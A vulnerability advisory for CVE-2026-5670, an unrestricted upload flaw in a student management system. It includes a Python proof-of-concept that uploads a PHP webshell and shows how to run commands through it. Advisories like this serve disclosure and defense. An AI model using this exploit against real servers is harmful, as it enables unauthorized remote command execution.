Security Vulnerability Report
中文
CVE-2026-5670 CVSS 6.3 MEDIUM

CVE-2026-5670

Published: 2026-04-06 17:17:15
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was found in Cyber-III Student-Management-System up to 1a938fa61e9f735078e9b291d2e6215b4942af3f. This issue affects the function move_uploaded_file of the file /AssignmentSection/submission/upload.php. Performing a manipulation of the argument File results in unrestricted upload. The attack can be initiated remotely. The exploit has been made public and could be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Cyber-III Student-Management-System <= commit 1a938fa61e9f735078e9b291d2e6215b4942af3f

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL of the vulnerable upload endpoint target_url = "http://target-ip/AssignmentSection/submission/upload.php" # Malicious PHP file content (Webshell) # Note: Use for educational and authorized testing purposes only shell_content = "<?php system($_GET['cmd']); ?>" # Construct the multipart/form-data payload files = { 'File': ('shell.php', shell_content, 'application/x-php') } try: # Send POST request to upload the file response = requests.post(target_url, files=files) if response.status_code == 200: print("[+] Exploit successful! File uploaded.") print("[+] Check the upload directory to locate the shell.") print("[+] Usage: http://target-ip/path/to/shell.php?cmd=whoami") else: print("[-] Exploit failed. Server returned status code:", response.status_code) print("[-] Response:", response.text) except Exception as e: print("[-] An error occurred:", str(e))

References

Raw JSON Data

JSON
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